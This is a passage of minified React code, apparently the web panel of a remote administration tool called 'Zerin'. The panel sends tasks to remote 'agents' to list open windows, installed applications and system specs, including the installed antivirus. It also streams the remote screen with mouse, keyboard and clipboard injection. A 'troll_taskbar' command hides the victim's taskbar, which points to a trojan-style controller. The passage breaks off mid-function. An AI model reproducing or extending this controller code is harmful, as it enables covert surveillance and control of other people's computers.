x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ee(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Un(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function IU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ee(e,{command:"installed_apps"});u(!0);let z=0;const _=30;v.current=setInterval(async()=>{var A;z++;try{const P=(A=(await Un(e)).results)==null?void 0:A.find(I=>I.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const I=JSON.parse(P.output);r(I)}catch{l("Failed to parse installed apps data")}}else z>=_&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const _=N[m]||"",A=z[m]||"",O=_.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function DU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ee(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Un(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"CPU",value:n.cpu}),s.jsx(Ci,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(Ci,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(Ci,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"OS",value:n.os}),s.jsx(Ci,{label:"AV",value:n.av}),s.jsx(Ci,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Ci({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function RU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(A.current=window.setInterval(()=>{const Y=_.current;u(ee=>ee.fps===Y.fps&&ee.frameCount===Y.frameCount&&ee.dirtyTiles===Y.dirtyTiles&&ee.totalTiles===Y.totalTiles?ee:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const U=p.useCallback((Y,ee)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==ee)&&(C.width=Y,C.height=ee,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),D=p.useRef(new ArrayBuffer(5)),M=p.useRef(new DataView(D.current)),F=p.useCallback(Y=>{var ee;((ee=i.current)==null?void 0:ee.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),R=p.useMemo(()=>({sendMouseMove:(Y,ee)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,ee,!0),F(D.current)},sendMouseButton:(Y,ee,C,K)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,Y),B.setUint8(2,ee),B.setUint16(3,C,!0),B.setUint16(5,K,!0),F(ne)},sendMouseScroll:(Y,ee,C)=>{const K=new ArrayBuffer(7),ne=new DataView(K);ne.setUint8(0,3),ne.setInt16(1,Y,!0),ne.setUint16(3,ee,!0),ne.setUint16(5,C,!0),F(K)},sendKey:(Y,ee,C)=>{const K=new ArrayBuffer(8),ne=new DataView(K);ne.setUint8(0,4),ne.setUint8(1,Y),ne.setUint16(2,ee,!0),ne.setUint32(4,C,!0),F(K)},sendClipboard:Y=>{const ee=new TextEncoder().encode(Y),C=new ArrayBuffer(5+ee.length),K=new DataView(C);K.setUint8(0,5),K.setUint32(1,ee.length,!0),new Uint8Array(C,5).set(ee),F(C)},setQuality:Y=>{I.current=Y;const ee=new ArrayBuffer(3),C=new DataView(ee);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),F(ee)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,ee)=>{const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,Y),K.setUint8(2,ee),F(C)}}),[F]),W=p.useCallback(()=>{if(!N2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=ee=>{if(ee.data.type==="frame"){const{bitmap:C,width:K,height:ne,cursorX:B,cursorY:ie}=ee.data;m.current(C,K,ne,B,ie)}},f.current=Y},[]),$=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),H=p.useCallback(()=>{if(N2||b.current!==null)return;const Y=()=>{const ee=y.current,C=g.current,K=w.current;if((ee.length>0||C.length>0)&&K){const{canvas:ne,ctx:B}=U(K.width,K.height);for(const ie of ee)B.fillStyle=`rgb(${ie.r},${ie.g},${ie.b})`,B.fillRect(ie.col*ie.tileSize,ie.row*ie.tileSize,ie.tileSize,ie.tileSize);for(const ie of C)B.drawImage(ie.bitmap,ie.col*ie.tileSize,ie.row*ie.tileSize),ie.bitmap.close();y.current=[],g.current=[],m.current(ne,K.width,K.height,K.cursorX,K.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[U]),X=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),se=p.useCallback(()=>{if(O.current!==null)return;const Y=64*1024;O.current=window.setInterval(()=>{const ee=i.current;if(!(!ee||ee.readyState!==WebSocket.OPEN)){if(ee.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,30),F(C)}else if(ee.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,I.current),F(C)}}},250)},[F]),ue=p.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),ge=p.useCallback(()=>{if(i.current)return;const Y=rt();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,K=new WebSocket(C);K.binaryType="arraybuffer",i.current=K,K.onopen=()=>{l(!0),W(),H(),se()},K.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const ie=B.getUint16(0,!0),ve=B.getUint16(2,!0),we=Number(B.getBigUint64(4,!0)),_e=B.getUint8(12),L=performance.now(),de=S.current,q=N.current%k;de[q]=L,N.current=q+1,z.current1){const Z=de[(q+1-me+k)%k],fe=(L-Z)/1e3;fe>0&&(te=Math.round((me-1)/fe))}const V=_.current;if(V.frameCount++,V.fps=te,V.width=ie,V.height=ve,V.lastFrameMs=we,_e===1){const Z=RU(B,13,ne.data.byteLength);V.dirtyTiles=Z.numDirty,V.totalTiles=Z.cols*Z.rows;const fe=Z.cols>0?Math.ceil(ie/Z.cols):128,E=Z.tiles.filter(J=>J.codec===1),oe=Z.tiles.filter(J=>J.codec===2);if(f.current){const J=[],pe=E.map(ke=>{const G=ke.data.buffer.slice(ke.data.byteOffset,ke.data.byteOffset+ke.data.byteLength);return J.push(G),{col:ke.col,row:ke.row,data:G}}),be=oe.map(ke=>({col:ke.col,row:ke.row,r:ke.data[0],g:ke.data[1],b:ke.data[2]}));f.current.postMessage({type:"tiles",tiles:pe,solids:be,width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY,tileSize:fe},J)}else{w.current={width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY};for(const J of oe)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:fe});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const pe of E){const be=v.current.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row);be>=0?v.current[be]={...pe,tileSize:fe}:v.current.push({...pe,tileSize:fe})}return}j.current=!0;let J=E.map(pe=>({...pe,tileSize:fe}));if(v.current&&v.current.length>0){for(const pe of v.current)J.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row)<0&&J.push(pe);v.current=[]}Promise.all(J.map(pe=>{const be=new Blob([pe.data],{type:"image/jpeg"});return createImageBitmap(be).then(ke=>({bitmap:ke,col:pe.col,row:pe.row,tileSize:pe.tileSize}))})).then(pe=>{j.current=!1;for(const be of pe)g.current.push(be)}).catch(()=>{j.current=!1})}}}else{V.dirtyTiles=0,V.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Z=new Uint8Array(ne.data,13),fe=new Blob([Z],{type:"image/jpeg"}),E=URL.createObjectURL(fe);a.current=E,m.current(E,ie,ve)}},K.onclose=()=>{l(!1),i.current=null,$(),X(),ue(),r==null||r()},K.onerror=()=>{K.close()}},[e,t,r,W,$,H,X,se,ue]),xe=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),$(),X(),ue(),l(!1)},[$,X,ue]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),$(),X(),ue()},[$,X,ue]),{isConnected:o,stats:c,controls:R,connect:ge,disconnect:xe}}function $U({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState("https://"),[A,O]=p.useState(!1),[P,I]=p.useState(""),[U,D]=p.useState(!1),[M,F]=p.useState(!1),[R,W]=p.useState(!1),[$,H]=p.useState(!1),[X,se]=p.useState(!1),[ue,ge]=p.useState(!1),xe=(te,me="ok")=>{f({text:te,type:me}),setTimeout(()=>f(null),2500)},Y=p.useCallback((te,me,V)=>{a.current||(a.current=!0,i(!0)),l({w:me,h:V});const Z=t.current;if(!Z)return;const fe=Z.getContext("2d");if(fe)if((Z.width!==me||Z.height!==V)&&(Z.width=me,Z.height=V),typeof te=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>fe.drawImage(E,0,0),E.src=te}else te instanceof ImageBitmap?(fe.drawImage(te,0,0),te.close()):fe.drawImage(te,0,0)},[]),{isConnected:ee,stats:C,connect:K}=pv({agentId:e,onFrame:Y}),[ne,B]=p.useState(!1);p.useEffect(()=>{!e||!ne||gx(e).then(()=>K()).catch(()=>{K()})},[e,K,ne]);const ie=async(te,me)=>{try{await Ee(e,{command:te,args:me}),xe(`Sent: ${te}`)}catch{xe(`Failed: ${te}`,"err")}},ve=()=>{const te=!c;u(te),ie("troll_taskbar",[te?"show":"hide"])},we=(te,me,V)=>{const 